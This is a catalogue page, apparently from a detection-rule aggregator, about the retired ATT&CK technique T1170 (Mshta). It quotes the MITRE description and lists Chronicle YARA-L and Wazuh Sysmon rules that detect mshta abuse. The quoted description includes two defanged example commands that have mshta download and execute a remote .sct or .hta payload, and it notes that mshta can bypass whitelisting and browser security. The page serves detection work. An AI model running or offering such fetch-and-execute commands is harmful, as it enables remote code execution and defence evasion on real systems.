Cross-source coverage
T1170 / ATT&CK
Mshta
ATT&CK has retired this technique. Rules still tag it; the current id is T1218.005 System Binary Proxy Execution: Mshta.
6 rules · 5 families across 2 sources.
Showing deprecated rules · back to the default
From MITRE ATT&CK 19.2
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.
Adversaries can use mshta.exe to proxy execution of malicious.hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code
Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta
Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.
- Platforms
- Windows
- Telemetry
- —
chronicle/detection-rules
3 rules| Detection | Severity | Format |
|---|---|---|
| mshta_downloads_malware_by_using_covid19_themed_document | Undefined | YARA-L |
| possible_applocker_bypass | Undefined | YARA-L |
| possible_malicious_use_of_mshtaexe_detector_sysmon_behavior | Undefined | YARA-L |
socfortress/Wazuh-Rules
3 rules · 2 families| Detection | Severity | Format |
|---|---|---|
| Sysmon - Event 1: Process creation · Mshta (T1170) 2 variants | Low | Wazuh XML |
| Sysmon - Event 1: Process creation · Mshta (T1170) 2 variants | Low | Wazuh XML |
| Sysmon - Event 7: Image loaded by · MSHTA with AMSI Bypass (T1170) | Low | Wazuh XML |